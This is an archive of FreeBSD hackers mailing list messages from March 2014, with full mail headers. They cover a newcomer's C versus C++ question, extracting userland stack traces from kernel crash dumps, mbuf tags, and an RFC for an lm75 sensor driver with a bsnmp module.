Re: Something related to C and C++ From: Johan Bucht To: by Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , Erich Dollansky X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 09:14:41 -0000 Working in higher level languages like Java, Ruby, Python and C++ does have some advantages to C and some disadvantages. There are always trade offs and there will always be languages closer to the domain that will be more elegant to solve specific problems. If you're mainly doing programming close to the hardware the abstractions from those higher level languages doesn't add much value and the runtime with garbage collection and more is something you probably need to be able to turn off. It's of course possible to implement a lot of the features in higher level languages in lower level ones, but the syntax will not be that suitable for it and you need to impose restrictions on yourself instead of the language doing it for you. For some tasks C is too high level and Assembler is needed but for most of the tasks any language will do and it's a matter of personal taste. /Johan On Mon, Mar 17, 2014 at 3:50 AM, by wrote: > Well, I think C++'s popular has something related to C's popular use, but > it contains too much, I prefer simple tool, do one thing, and do it well, > no more extras, and build a system with their combinations, at least the > base system. > > - by > > > On Mar 17, 2014, at 10:38, Erich Dollansky wrote: > > > > Hi, > > > > On Mon, 17 Mar 2014 10:20:55 +0800 > > by wrote: > > > > as C++ is C plus 'some' extras, just start with C. When you know C - > > which you have to know anyway to write C++ programs - you can add C++ > > to your knowledge. > > > > Never forget that object orientated programming is much older than C++ > > and can be done in most languages. I did my first steps in object > > orientated programming in 8080 assembler without even knowing that > > what I did will be later be known as object orientated programming. > > > > The little programming I still do is all done in C but using some of > > the 'addons' of C++. So, all my sources are .cpp files. > > > > Erich > >> Hi, > >> At first, I would say, I do not want to lead to a holy war between > >> programming languages, and I am a newbie in this field, but I am > >> confused about this, so I want get some answers or discusses from > >> here to help me thinking about this. I found that in IT industry, C++ > >> has more and more users, I can understand why they do this, C++ can > >> make them build system more easy than C does. okay, I just know a > >> little about C++, but in my feeling, C++ can make you do things in a > >> higher place. Yes, C++ is great, but for me, it is too difficult, or > >> I would say, it is too complicated. I got two books in my hand, one > >> is <>, another is < >> Language>>. Just consider from the weight : ) You can find something. > >> Language>>In the past, GCC use C, but now it turn to C++, and LLVM is > >> Language>>written by C++. Yes I prefer C now, and you may say, you > >> Language>>have not use these two languages deeply, how could you > >> Language>>judge them? Yes, I know I should not judge them, but as a > >> Language>>newbie, this is my very feeling, just like a kid first > >> Language>>looking at this world! Simple, but confused. At last, I am > >> Language>>not lead to a holy war between programming languages, I > >> Language>>just confused and want some related answers. This is it. : ) > >> > >> - by > >> _______________________________________________ > >> freebsd-hackers@freebsd.org mailing list > >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > >> To unsubscribe, send any mail to > >> "freebsd-hackers-unsubscribe@freebsd.org" > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 09:41:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0153AC97 for ; Mon, 17 Mar 2014 09:41:28 +0000 (UTC) Received: from cain.gsoft.com.au (cain.gsoft.com.au [203.31.81.10]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 78FFC9F5 for ; Mon, 17 Mar 2014 09:41:27 +0000 (UTC) Received: from ur.dons.net.au (ppp118-210-139-70.lns20.adl6.internode.on.net [118.210.139.70]) (authenticated bits=0) by cain.gsoft.com.au (8.14.4/8.14.3) with ESMTP id s2H9f2el095615 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Mon, 17 Mar 2014 20:11:09 +1030 (CST) (envelope-from doconnor@gsoft.com.au) From: "Daniel O'Connor" Content-Type: multipart/signed; boundary="Apple-Mail=_D0344F98-9DCB-40BF-97A5-61C14DE39877"; protocol="application/pgp-signature"; micalg=pgp-sha1 Date: Mon, 17 Mar 2014 20:11:02 +1030 Subject: Extracting user stack traces from a crash dump To: FreeBSD Hackers Message-Id: <21FD6187-811C-48D9-BAC8-105F54F39989@gsoft.com.au> Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) X-Mailer: Apple Mail (2.1874) X-Spam-Score: 0.163 () BAYES_00,RDNS_DYNAMIC X-Scanned-By: MIMEDefang 2.67 on 203.31.81.10 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 09:41:28 -0000 --Apple-Mail=_D0344F98-9DCB-40BF-97A5-61C14DE39877 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii Hi, Does anyone know of a tool that can extract userland stack traces from a = crash dump? I did some googling and the closest I can see is to use DDB, but = obviously that is only possible when I can access the console. Is it something procstat should/could be extended to do? -- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum GPG Fingerprint - 5596 B766 97C0 0E94 4347 295E E593 DC20 7B3F CE8C --Apple-Mail=_D0344F98-9DCB-40BF-97A5-61C14DE39877 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iD8DBQFTJsMu5ZPcIHs/zowRAjaMAJ9NpRcdMXddm2J9xMK2rMAK0cVEawCfXtwW od3oE/JDf5TGTKPh1J9aWkQ= =UoRI -----END PGP SIGNATURE----- --Apple-Mail=_D0344F98-9DCB-40BF-97A5-61C14DE39877-- From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 10:40:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C350814A for ; Mon, 17 Mar 2014 10:40:35 +0000 (UTC) Received: from nm41.bullet.mail.bf1.yahoo.com (nm41.bullet.mail.bf1.yahoo.com [216.109.114.57]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 570B5F53 for ; Mon, 17 Mar 2014 10:40:34 +0000 (UTC) Received: from [98.139.212.153] by nm41.bullet.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 10:38:25 -0000 Received: from [98.139.211.198] by tm10.bullet.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 10:38:24 -0000 Received: from [127.0.0.1] by smtp207.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 10:38:24 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1395052704; bh=uEecX8PPCe3qaEwWPTil9Asx+ioo3Y9IbIX+wx4CESY=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Message-ID:Date:From:User-Agent:MIME-Version:To:CC:Subject:References:In-Reply-To:Content-Type:Content-Transfer-Encoding; b=KjObXykm6u+ljvuNqIlfyrFo/ylCYRcZpOEa2VfHF8BR0ImEyl9W5/we6om4hzifjiWd1y2uM7VGUUw87kfHKr9abdhOIn4pujK0fDfWI8tMND9LufEp5bEJLJgvGJbXAR5xMjBRjUTMB+TggqybR0u+ax9966QghUZZhVcfcvc= X-Yahoo-Newman-Id: 857790.9732.bm@smtp207.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: Ya3uwS0VM1krATXD_xqeydT4zb_hnOB7gr8ipVYgxSqSWpL 5vCkTDNuqZ_Dar1SY1bj3sV5gkc2qf6My5CkigqLkxYupHUEhYzZo15IWurz M8lQ4tQu3oBaC0MowhPESu2klNopgmiUf1waAuIqUwJ.IYSLHrVUTcOnPVRo 6Kp96ZJt4VCXKRaAsETTaVGq1R.JtWD7anOMk0L6SOXa5ecstP7mdhOigjzw FPVZLS0u7QbJ1GNz.8aeY.IzWKIGHjvZcAFoOXppEsRZbopm7u3DO_XNH.RO Gp1NdU6eup6y0qkeYzfVFlDrfGV383l9BLZtoG9dykX_pglZomsMdljhaEul 0.mjez73GekP.Gyv3pYjXUl5laYyOmCfNBvE5ojDo0u0xwI3vlcasW_RiXdR TSjFgXeBe0HiX2OnhEf4zf8EIkzduAwz9pG_eeGY2vudzyioiGVyl9.13gcL xaclP.MIZWS.KfsrUHO3Wbe9_VEW6hWvlGTUrGj0lcjN13wWLAns8bPgZZx1 mmCU- X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [172.16.106.14] (free7by@59.51.96.8 with plain [106.10.150.171]) by smtp207.mail.bf1.yahoo.com with SMTP; 17 Mar 2014 03:38:24 -0700 PDT Message-ID: <5326D093.90308@yahoo.com> Date: Mon, 17 Mar 2014 18:38:11 +0800 From: by User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Johan Bucht Subject: Re: Something related to C and C++ References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "freebsd-hackers@freebsd.org" , Erich Dollansky X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 10:40:35 -0000 Yes, you are right, i have some prejudice for C++ before, but now, i think i won't, cause if i have not deeply working for some languages, technologies, i have no right to judge it, i need more and more practice : ) Different fields got different technologies, the only key i think is that which field you prefer, and what kind of technology you prefer. - by On 2014/3/17 17:14, Johan Bucht wrote: > Working in higher level languages like Java, Ruby, Python and C++ does have > some advantages to C and some disadvantages. There are always trade offs > and there will always be languages closer to the domain that will be more > elegant to solve specific problems. > If you're mainly doing programming close to the hardware the abstractions > from those higher level languages doesn't add much value and the runtime > with garbage collection and more is something you probably need to be able > to turn off. > It's of course possible to implement a lot of the features in higher level > languages in lower level ones, but the syntax will not be that suitable for > it and you need to impose restrictions on yourself instead of the language > doing it for you. > For some tasks C is too high level and Assembler is needed but for most of > the tasks any language will do and it's a matter of personal taste. > > /Johan > > On Mon, Mar 17, 2014 at 3:50 AM, by wrote: > >> Well, I think C++'s popular has something related to C's popular use, but >> it contains too much, I prefer simple tool, do one thing, and do it well, >> no more extras, and build a system with their combinations, at least the >> base system. >> >> - by >> >>> On Mar 17, 2014, at 10:38, Erich Dollansky wrote: >>> >>> Hi, >>> >>> On Mon, 17 Mar 2014 10:20:55 +0800 >>> by wrote: >>> >>> as C++ is C plus 'some' extras, just start with C. When you know C - >>> which you have to know anyway to write C++ programs - you can add C++ >>> to your knowledge. >>> >>> Never forget that object orientated programming is much older than C++ >>> and can be done in most languages. I did my first steps in object >>> orientated programming in 8080 assembler without even knowing that >>> what I did will be later be known as object orientated programming. >>> >>> The little programming I still do is all done in C but using some of >>> the 'addons' of C++. So, all my sources are .cpp files. >>> >>> Erich >>>> Hi, >>>> At first, I would say, I do not want to lead to a holy war between >>>> programming languages, and I am a newbie in this field, but I am >>>> confused about this, so I want get some answers or discusses from >>>> here to help me thinking about this. I found that in IT industry, C++ >>>> has more and more users, I can understand why they do this, C++ can >>>> make them build system more easy than C does. okay, I just know a >>>> little about C++, but in my feeling, C++ can make you do things in a >>>> higher place. Yes, C++ is great, but for me, it is too difficult, or >>>> I would say, it is too complicated. I got two books in my hand, one >>>> is <>, another is <>>> Language>>. Just consider from the weight : ) You can find something. >>>> Language>>In the past, GCC use C, but now it turn to C++, and LLVM is >>>> Language>>written by C++. Yes I prefer C now, and you may say, you >>>> Language>>have not use these two languages deeply, how could you >>>> Language>>judge them? Yes, I know I should not judge them, but as a >>>> Language>>newbie, this is my very feeling, just like a kid first >>>> Language>>looking at this world! Simple, but confused. At last, I am >>>> Language>>not lead to a holy war between programming languages, I >>>> Language>>just confused and want some related answers. This is it. : ) >>>> >>>> - by >>>> _______________________________________________ >>>> freebsd-hackers@freebsd.org mailing list >>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>> To unsubscribe, send any mail to >>>> "freebsd-hackers-unsubscribe@freebsd.org" >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" >> > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 11:04:22 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3CB2B5C5; Mon, 17 Mar 2014 11:04:22 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 0CA4220C; Mon, 17 Mar 2014 11:04:21 +0000 (UTC) Received: from Julian-MBP3.local ([12.157.112.67]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s2HB4EpS081797 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Mon, 17 Mar 2014 04:04:14 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <5326D6A8.8050005@freebsd.org> Date: Mon, 17 Mar 2014 04:04:08 -0700 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Rui Paulo , Ian Lepore Subject: Re: mbuf question References: <53230214.7010501@gmail.com> <532405B7.2020007@gmail.com> <96659837-1FDC-421D-A339-87104A0075C7@FreeBSD.org> <5324D669.804@gmail.com> <5324DAC0.9020508@gmail.com> <1394925228.1149.558.camel@revolution.hippie.lan> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Hackers , Hooman Fazaeli X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 11:04:22 -0000 On 3/15/14, 9:31 PM, Rui Paulo wrote: > On 15 Mar 2014, at 16:13, Ian Lepore wrote: >> How about an optimization that puts tags in that area when it's >> available to avoid the allocation overhead? I don't know much about the >> network code, so maybe that's not a sensible idea. > The problem with mbuf tags is that they are not fixed size, so they can't easily use UMA (although they use malloc which is backed by UMA, but the performance is lower). If tags are not an option, I suppose Hooman could use fields from struct pkthdr, but this might come with risks if the code is not in the tree. why not do what ipfw does? > > -- > Rui Paulo > > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 12:02:26 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EE95D159 for ; Mon, 17 Mar 2014 12:02:26 +0000 (UTC) Received: from mail-ob0-x229.google.com (mail-ob0-x229.google.com [IPv6:2607:f8b0:4003:c01::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 24539AF1 for ; Mon, 17 Mar 2014 12:02:26 +0000 (UTC) Received: by mail-ob0-f169.google.com with SMTP id va2so5442909obc.0 for ; Mon, 17 Mar 2014 05:02:25 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=ENovSFy63neXwYxQZkepC1KuH+e6TPsvi4+Iwm4wv+M=; b=bQX22+cGSzjIUWtJ+2Fs5p7Snn7a5DPtnYknu/l2EjlBlue3V4vH+zPu3Fpc960WXL hCAN5MRRL5UVV72O0jchUARqi3GzpRZHICLfwbu0uO6eb2t6APKshZEJYDZnUe/3lXBb g8nVfSRw4oT9qTLsVMAU05KRvhAu0lGVpcnYjl6I6rvqP/cU6DJPzk4eFLvdbON8pD+T T7xXLagmhjgPIhBlPFmEhu1V6hbSQLUUR3X/aknjptHg27fYtTDFflaiDM5HMU2xv1CO KMlrp1psL661I+7WIt2V/eCUMmSYPbrSu1dZ6sOsFVo6F2iuzS8goU4sWk+U9O20vXZ1 tN5Q== MIME-Version: 1.0 X-Received: by 10.60.162.7 with SMTP id xw7mr20338587oeb.13.1395057745502; Mon, 17 Mar 2014 05:02:25 -0700 (PDT) Received: by 10.76.115.129 with HTTP; Mon, 17 Mar 2014 05:02:25 -0700 (PDT) In-Reply-To: <21FD6187-811C-48D9-BAC8-105F54F39989@gsoft.com.au> References: <21FD6187-811C-48D9-BAC8-105F54F39989@gsoft.com.au> Date: Mon, 17 Mar 2014 08:02:25 -0400 Message-ID: Subject: Re: Extracting user stack traces from a crash dump From: Ryan Stone To: "Daniel O'Connor" Content-Type: text/plain; charset=ISO-8859-1 Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 12:02:27 -0000 On Mon, Mar 17, 2014 at 5:41 AM, Daniel O'Connor wrote: > Hi, > Does anyone know of a tool that can extract userland stack traces from a crash dump? > I did some googling and the closest I can see is to use DDB, but obviously that is only possible when I can access the console. > > Is it something procstat should/could be extended to do? If I'm understanding you correctly, you have a kernel core and you want to see the backtrace in *userland*? e.g. malloc() strdup() main() That's not possible with a minidump. A minidump does not include memory for any userland processes, only the kernel, so you can't see what any userland threads were doing at the time of the crash. You could find the trap frame for the thread at the bottom of the kernel stack and map the instruction pointer for the top userland frame, but that's it. From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 13:22:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A5F74176 for ; Mon, 17 Mar 2014 13:22:33 +0000 (UTC) Received: from mail-pb0-x22f.google.com (mail-pb0-x22f.google.com [IPv6:2607:f8b0:400e:c01::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 75D2C298 for ; Mon, 17 Mar 2014 13:22:33 +0000 (UTC) Received: by mail-pb0-f47.google.com with SMTP id up15so5677597pbc.20 for ; Mon, 17 Mar 2014 06:22:33 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=6iPGuNWlDkSqT/FSm6J8dXfREM5YY4vC5GWxm+Ioqu0=; b=PdTUqjf687blEQCeR3TdDMM0c+IiGro2HaWIYak9JgZIL2gAhikAe2uIWa2KJD8S2C bjh51NtxSnofBmTX8xOKiZhIn+vYhe5AZl9/aYYLP7QNV938BH8YFY2YFrTKgmgW4f8m r9JZAzJ5R4RY2uPSpkNOSl0oxbmSj9xCSehtbAVkVxE8GiuydAsBIqZk1ynQqh3xc4xp MkwTzbAivYE1m9EfoPw9UDZ17HxF2/1go94RWdRvm14K1Sm7sYGCUxMxeX2YjmVwiUgp Gkug5c2QbCqJc9TFmkN7LtVwPl6jzh1jYi/lcGFT3dI+nqn8vLQFwulmw+mnopIw0BbS kHDA== MIME-Version: 1.0 X-Received: by 10.68.249.100 with SMTP id yt4mr3311685pbc.165.1395062553052; Mon, 17 Mar 2014 06:22:33 -0700 (PDT) Received: by 10.68.56.71 with HTTP; Mon, 17 Mar 2014 06:22:32 -0700 (PDT) In-Reply-To: <5326D093.90308@yahoo.com> References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> Date: Mon, 17 Mar 2014 14:22:32 +0100 Message-ID: Subject: Re: Something related to C and C++ From: Johan Bucht To: by Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , Erich Dollansky X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 13:22:33 -0000 As there are different strengths and weaknesses resulting from the design decisions chosen for the different languages, learn as many different types as you can and experience how they shape solutions to problems in different ways and how you reason about them. "I have never met anybody who has changed their reasoning first and their habits second. You change your habits first." The end goal is to solve problems in your domain, having a languages that maps perfectly to that domain (or makes it easy to create domain specific languages in) will certainly make it easier to read and write that code. But is it worth creating and maintaining that language for a small domain and train people in it? General purpose languages exists because of this. They might not map perfectly to the domain, but they have familiarity and cross breeding between users in different domains. Some languages are really small with little functionality included in the standard library, others are huge and contain a lot of seldom used functionality. For the small languages you might need to write common functionality yourself or find something someone else has written. For large languages you get that for free and most users will use what's provided. You get a standard way of solving problems, but the tools might not be best of breed or suit your specific use case. /Johan On Mon, Mar 17, 2014 at 11:38 AM, by wrote: > Yes, you are right, i have some prejudice for C++ before, but now, i think > i won't, cause if i have not deeply working for some languages, > technologies, i have no right to judge it, i need more and more practice : ) > Different fields got different technologies, the only key i think is that > which field you prefer, and what kind of technology you prefer. > > - by > > > On 2014/3/17 17:14, Johan Bucht wrote: > >> Working in higher level languages like Java, Ruby, Python and C++ does >> have >> some advantages to C and some disadvantages. There are always trade offs >> and there will always be languages closer to the domain that will be more >> elegant to solve specific problems. >> If you're mainly doing programming close to the hardware the abstractions >> from those higher level languages doesn't add much value and the runtime >> with garbage collection and more is something you probably need to be able >> to turn off. >> It's of course possible to implement a lot of the features in higher level >> languages in lower level ones, but the syntax will not be that suitable >> for >> it and you need to impose restrictions on yourself instead of the language >> doing it for you. >> For some tasks C is too high level and Assembler is needed but for most of >> the tasks any language will do and it's a matter of personal taste. >> >> /Johan >> >> On Mon, Mar 17, 2014 at 3:50 AM, by wrote: >> >> Well, I think C++'s popular has something related to C's popular use, but >>> it contains too much, I prefer simple tool, do one thing, and do it well, >>> no more extras, and build a system with their combinations, at least the >>> base system. >>> >>> - by >>> >>> On Mar 17, 2014, at 10:38, Erich Dollansky wrote: >>>> >>>> Hi, >>>> >>>> On Mon, 17 Mar 2014 10:20:55 +0800 >>>> by wrote: >>>> >>>> as C++ is C plus 'some' extras, just start with C. When you know C - >>>> which you have to know anyway to write C++ programs - you can add C++ >>>> to your knowledge. >>>> >>>> Never forget that object orientated programming is much older than C++ >>>> and can be done in most languages. I did my first steps in object >>>> orientated programming in 8080 assembler without even knowing that >>>> what I did will be later be known as object orientated programming. >>>> >>>> The little programming I still do is all done in C but using some of >>>> the 'addons' of C++. So, all my sources are .cpp files. >>>> >>>> Erich >>>> >>>>> Hi, >>>>> At first, I would say, I do not want to lead to a holy war between >>>>> programming languages, and I am a newbie in this field, but I am >>>>> confused about this, so I want get some answers or discusses from >>>>> here to help me thinking about this. I found that in IT industry, C++ >>>>> has more and more users, I can understand why they do this, C++ can >>>>> make them build system more easy than C does. okay, I just know a >>>>> little about C++, but in my feeling, C++ can make you do things in a >>>>> higher place. Yes, C++ is great, but for me, it is too difficult, or >>>>> I would say, it is too complicated. I got two books in my hand, one >>>>> is <>, another is <>>>> Language>>. Just consider from the weight : ) You can find something. >>>>> Language>>In the past, GCC use C, but now it turn to C++, and LLVM is >>>>> Language>>written by C++. Yes I prefer C now, and you may say, you >>>>> Language>>have not use these two languages deeply, how could you >>>>> Language>>judge them? Yes, I know I should not judge them, but as a >>>>> Language>>newbie, this is my very feeling, just like a kid first >>>>> Language>>looking at this world! Simple, but confused. At last, I am >>>>> Language>>not lead to a holy war between programming languages, I >>>>> Language>>just confused and want some related answers. This is it. : ) >>>>> >>>>> - by >>>>> _______________________________________________ >>>>> freebsd-hackers@freebsd.org mailing list >>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>> To unsubscribe, send any mail to >>>>> "freebsd-hackers-unsubscribe@freebsd.org" >>>>> >>>> _______________________________________________ >>> freebsd-hackers@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@ >>> freebsd.org" >>> >>> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org >> " >> > > From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 14:11:40 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9F5D7BA for ; Mon, 17 Mar 2014 14:11:40 +0000 (UTC) Received: from mail-wg0-x234.google.com (mail-wg0-x234.google.com [IPv6:2a00:1450:400c:c00::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 080F6978 for ; Mon, 17 Mar 2014 14:11:39 +0000 (UTC) Received: by mail-wg0-f52.google.com with SMTP id k14so4684749wgh.35 for ; Mon, 17 Mar 2014 07:11:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=5cJtmV5qDCbwSx6sD38xxYNDY2AohBqxYnBB9arG74g=; b=lSdjoR+jcnc70GS790US3RCBCj574ZiqSexFQVJtWGiTzNPKUA21YbN+e7MiFgW4VU cCYFITOd+311zIrPXItYSqdDa8+uwqrnTIiMkst9qHriIAk15URUnuZaW0Nb3nTV8ft+ CHsWWlYHniIzS3V0rI7gqtMLUSwLYQP+wqNxi7Xg8yKcgZtJXH1WkaSUK4CgOofmPtNN /RyH6CKFv1RS2s7oFcgpHqZlO+a0bAexWyROdDpfV2ChiLKpHHCU5vbga/isOgs/PDZ7 Jw+n4Sb8t/rzEapMkqynNpIU2ldM9ALg8t2lbIcvGZrfq7Tq4HEvoHU2LOo6dvLBMaqb XE6Q== MIME-Version: 1.0 X-Received: by 10.194.60.16 with SMTP id d16mr1220041wjr.18.1395065498467; Mon, 17 Mar 2014 07:11:38 -0700 (PDT) Received: by 10.216.40.72 with HTTP; Mon, 17 Mar 2014 07:11:38 -0700 (PDT) Date: Mon, 17 Mar 2014 11:11:38 -0300 Message-ID: Subject: [RFC] lm75 kernel driver and bsnmp module From: Luiz Otavio O Souza To: freebsd-hackers@freebsd.org Content-Type: multipart/mixed; boundary=047d7b86ccbc79981504f4cdffda X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 14:11:40 -0000 --047d7b86ccbc79981504f4cdffda Content-Type: text/plain; charset=ISO-8859-1 Hi, I have this driver for the lm75 an i2c digital temperature sensor, it works (and it is tested) on FDT and non FDT systems. I need some help (review) for the bsnmp module. The bsnmp module reads the sysctl(8) interface, find out how many sensors you have on your system and export some of the sensor's information over SNMP. Together they create a very easy way to monitor (graph and whatever) the sensor temperature over SNMP. The lm75 sensor is cheap and can be easily connected to most of SBCs we support. It is also a good point of start for people who want to work with GPIO, sensors and SNMP on FreeBSD. Here is a sample of the data exported over SNMP: http://pastebin.com/cHYYBY1R Comments ? Regards, Luiz --047d7b86ccbc79981504f4cdffda Content-Type: text/plain; charset=US-ASCII; name="lm75.diff" Content-Disposition: attachment; filename="lm75.diff" 